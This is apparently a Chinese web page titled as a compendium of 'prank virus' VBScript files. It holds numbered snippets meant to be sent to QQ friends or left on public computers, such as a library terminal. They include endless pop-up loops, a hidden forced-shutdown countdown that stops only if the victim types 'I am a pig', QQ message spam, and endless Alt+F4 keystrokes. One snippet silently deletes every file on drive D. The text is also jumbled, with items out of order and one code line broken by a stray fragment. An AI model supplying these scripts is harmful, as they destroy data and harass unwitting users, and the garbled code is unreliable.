整人病毒vbs大全

WScript.Echo("还剩 15 下") WScript.Echo("还剩 14 下") WScript.Echo("还剩 13 下停停！！！慢点，我有话要说") WScript.Echo("还剩 12 下，你继续点我就会消失滴") WScript.Echo("还剩 11 下，以后就看不到我拉。555555") WScript.Echo("还剩 10 下，你现在可以选择停止！") WScript.Echo("还剩 9 下。你还点啊，不要我拉？") WScript.Echo("还剩 8 下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩 7 下。疯了，你有点负意！") WScript.Echo("还剩 6 下。对。你就点吧，我恨你！") WScript.Echo("还剩 5 下，不明白，删除我你就好吗？") WScript.Echo("还剩 4 下！真要删除我？") WScript.Echo("还剩 3 下。可是我真的很眷恋你。。。") WScript.Echo("还剩 2 下。不要这么绝情嘛，人家是爱你的！") WScript.Echo("还剩 1 下。哼，既然你这么绝情。也别怪我无义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") ---------------------------------------------------------------------------
2、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 --------------------------------------------------------------------------代码如下： do
msgbox "You are foolish!" loop ---------------------------------------------------------------------------
9、如果把他发给你的 QQ 好友 他打开后 如果不输我是猪 电脑就会在你设定的时间内 关机 --------------------------------------------------------------------------代码如下： on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分 钟关机，不信，试下···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖" ---------------------------------------------------------------------------
10、ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"这段代 码可以改成你自己设定的地址 如果别人不输我是猪的话就会一直点下去 点到你设定的数字 for i=1 to 100 从 1 到 100 可以改成 20 其他的数字 解除这个 VBS 脚本的办法就简单了 只是关掉任务管理器里 Wscript.exe 这个进程就好 了 --------------------------------------------------------------------------代码如下： set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不 输","") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是猪!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的!哼!",4096+64
8、关不掉的窗口 --------------------------------------------------------------------------代码如下： WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？") WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。") WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦") WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上 50 下哦，不过会给你惊喜滴") WScript.Echo("还剩 49 下，快点点哦") WScript.Echo("还剩 48 下，快点，小笨蛋！") WScript.Echo("还剩 47 下对，就这样快点点！") WScript.Echo("还剩 46 下。你啊就是笨，要快哦，我先不打扰你工作。") WScript.Echo("还剩 45 下，记得要快哦！") WScript.Echo("还剩 43 下") WScript.Echo("还剩 42 下") WScript.Echo("还剩 41 下") WScript.Echo("还剩 40 下") WScript.Echo("还剩 39 下") WScript.Echo("还剩 38 下") WScript.Echo("还剩 37 下") WScript.Echo("还剩 36 下") WScript.Echo("还剩 35 下") WScript.Echo("还剩 34 下") WScript.Echo("还剩 33 下") WScript.Echo("还剩 32 下") WScript.Echo("还剩 30 下") WScript.Echo("还剩 29 下") WScript.Echo("还剩 28 下") WScript.Echo("还剩 27 下") WScript.Echo("还剩 26 下") WScript.Echo("还剩 25 下") WScript.Echo("还剩 24 下") WScript.Echo("还剩 23 下") WScript.Echo("还剩 22 下") WScript.Echo("还剩 21 下") WScript.Echo("还剩 20 下") WScript.Echo("还剩 19 下") WScript.Echo("还剩 18 下") WScript.Echo("还剩 17 下") WScript.Echo("还剩 16 下")
5、不断弹出窗口 --------------------------------------------------------------------------代码如下： while(1) msgbox "哈哈 你被耍了！" loop ---------------------------------------------------------------------------
新建一个记事本 把代码复制进去 重名名为 vbs 格式的就可以了 解除这个 vbs 脚本的办法就简单了 只要关掉任务管理器里 Wscript.exe 这个进程就好 了 1、你打开好友的聊天对话框,然后记下在你 QQ 里好友的昵称,把下面代码里的 xx 替换 一下,就可以自定义发送 QQ 信息到好友的次数(代码里的数字 10 改一下即可). xx.vbs=> --------------------------------------------------------------------------代码如下： On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------
7、按 500 次回车 (以下代码在运行者的电脑上显示 500 个对话框。其中 do until s=500 ，500 可以随意 更改) --------------------------------------------------------------------------代码如下： dim s do until s=500 s=s+1 msgbox "哥们，给我按 500 次回车吧",64 loop ---------------------------------------------------------------------------
4、删除 D:\所有文件 --------------------------------------------------------------------------代码如下： dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true ---------------------------------------------------------------------------
6、不断按下 alt+f4 （开什么都关闭……）病毒太强必须关机才行！ --------------------------------------------------------------------------代码如下： dim WSHshell set WSHshelBiblioteka Baidu = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" Wend ---------------------------------------------------------------------------
3、直接关机 --------------------------------------------------------------------------代码如下： dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ---------------------------------------------------------------------------